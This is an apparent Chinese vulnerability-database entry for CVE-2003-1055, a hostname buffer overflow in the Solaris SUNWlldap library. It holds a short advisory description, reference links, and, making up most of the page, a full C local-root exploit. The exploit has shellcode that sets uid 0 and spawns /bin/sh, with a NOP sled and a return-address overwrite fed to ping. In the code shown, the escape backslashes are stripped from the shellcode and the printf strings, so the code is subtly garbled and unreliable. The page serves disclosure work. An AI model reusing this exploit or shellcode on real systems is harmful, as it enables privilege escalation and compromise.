Sun SUNWlldap库主机名远程缓冲区溢出漏洞

Sun SUNWlldap库主机名远程缓冲区溢出漏洞

漏洞ID 1107263 漏洞类型 边界条件错误
发布时间 2003-04-01 更新时间 2005-10-20
图片[1]-Sun SUNWlldap库主机名远程缓冲区溢出漏洞-安全小百科CVE编号 CVE-2003-1055
图片[2]-Sun SUNWlldap库主机名远程缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200307-016
漏洞平台 Solaris CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/4
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200307-016
|漏洞详情
OracleOracleSolaris是美国甲骨文(Oracle)公司的一套类Unix操作系统。SunSolaris8/9SUNWlldap库在处理主机名时缺少正确边界缓冲区检查,本地或者远程攻击者利用这个漏洞进行缓冲区溢出攻击,可能以目标进程权限在系统上执行任意指令。当应用程序连接到有此漏洞的LDAP库时,由于在解析超长主机名时存在问题,通过提供超长恶意主机名给受此漏洞影响的应用程序,可覆盖内存中的敏感地址,精心构建主机名数据可能以目标进程权限在系统上执行任意指令。根据报告’SUNWlldap11.8.0’之前版本也受此漏洞影响。
|漏洞EXP
/***********************************************************
* hoagie_solarisldap.c
*
* gcc hoagie_solarisldap.c -o hoagie_solarisldap
*
* Author: Andi <[email protected]>
*
* Greetz to Greuff, philipp and the other hoagie-fellas :-)
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
* DAMAGE DONE USING THIS PROGRAM.
*
*
* Offsets: 9208 ... without patch 108994-11
*
************************************************************/

#include <stdio.h>

#define NOP 0x90
#define ORIGSIZE 258

char shellcode[]=
/* main: */
"xebx0a" /* jmp initcall */

/* initlcall: */
"x9ax01x02x03x5cx07x04" /* lcall */
"xc3" /* ret */

/* jmpz: */
"xebx05" /* jmp setuidcode */

/* initcall: */
"xe8xf9xffxffxff" /* call jmpz */

/* setuidcode: */
"x5e" /* popl %esi */
"x29xc0" /* subl %eax, %eax */
"x88x46xf7" /* movb %al, 0xfffffff7(%esi) */
"x89x46xf2" /* movl %eax, 0xfffffff2(%esi) */

/* seteuid(0); */
"x50" /* pushl %eax */
"xb0x8d" /* movb $0x8d, %al */
"xe8xe0xffxffxff" /* call initlcall */
/* setuid(0); */
"x29xc0" /* subl %eax, %eax */
"x50" /* pushl %eax */
"xb0x17" /* movb $0x17, %al */
"xe8xd6xffxffxff" /* call initlcall */

"xebx1f" /* jmp callz */

/* start: */
/* execve /bin/sh */
"x5e" /* popl %esi */
"x8dx1e" /* leal (%esi), %ebx */
"x89x5ex0b" /* movl %ebx, 0x0b(%esi) */
"x29xc0" /* subl %eax, %eax */
"x88x46x19" /* movb %al, 0x19(%esi) */
"x89x46x14" /* movl %eax, 0x14(%esi) */
"x89x46x0f" /* movl %eax, 0x0f(%esi) */
"x89x46x07" /* movl %eax, 0x07(%esi) */
"xb0x3b" /* movb $0x3b, %al */
"x8dx4ex0b" /* leal 0x0b(%esi), %ecx */
"x51" /* pushl %ecx */
"x51" /* pushl %ecx */
"x53" /* pushl %ebx */
"x50" /* pushl %eax */
"xebx18" /* jmp lcall */

/* callz: */
"xe8xdcxffxffxff" /* call start */

"x2fx62x69x6ex2fx73x68" /* /bin/sh */
"x01x01x01x01x02x02x02x02x03x03x03x03"

/* lcall: */
"x9ax04x04x04x04x07x04"; /* lcall */



unsigned long getsp(void)
{
__asm__(" movl %esp,%eax ");
}

int main(int argc, char **argv) {
char buf[512];
int offset = 9208;
int retaddr = 0;
int i;

if (argc > 1) {
sscanf(argv[1], "%d", &offset);
}

printf("hoagie_solarisldap local root exploitn");
printf("[*] offset: 0x%xn", offset);

memset(buf, NOP, sizeof(buf));
buf[28] = 0xeb;
buf[29] = 30;
for (i = 0; i < strlen(shellcode); i++) {
buf[i + 60] = shellcode[i];
}

retaddr = getsp() - offset;
printf("[*] return address: 0x%xn", retaddr);

for (i = 0; i < 4 * 25; i += 4){
buf[i + ORIGSIZE + 2] = retaddr & 0xff;
buf[i + ORIGSIZE + 3] = (retaddr >> 8 ) &0xff;
buf[i + ORIGSIZE + 0] = (retaddr >> 16 ) &0xff;
buf[i + ORIGSIZE + 1] = (retaddr >> 24 ) &0xff;
}

execl("/usr/sbin/ping", "ping", buf, NULL);
}


// milw0rm.com [2003-04-01]
|参考资料

来源:XF
名称:solaris-nssldapso1-bo(11641)
链接:http://xforce.iss.net/xforce/xfdb/11641
来源:BID
名称:7064
链接:http://www.securityfocus.com/bid/7064
来源:CIAC
名称:N-113
链接:http://www.ciac.org/ciac/bulletins/n-113.shtml
来源:SUNALERT
名称:52222
链接:http://sunsolve.sun.com/search/document.do?assetkey=1-26-52222-1
来源:AUSCERT
名称:ESB-2003.0461
链接:http://www.auscert.org.au/render.html?it=3224
来源:SECTRACK
名称:1006401
链接:http://www.securitytracker.com/id?1006401

相关推荐: Piolet Client Remote Denial Of Service Vulnerability

Piolet Client Remote Denial Of Service Vulnerability 漏洞ID 1099696 漏洞类型 Failure to Handle Exceptional Conditions 发布时间 2003-08-20 更新…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享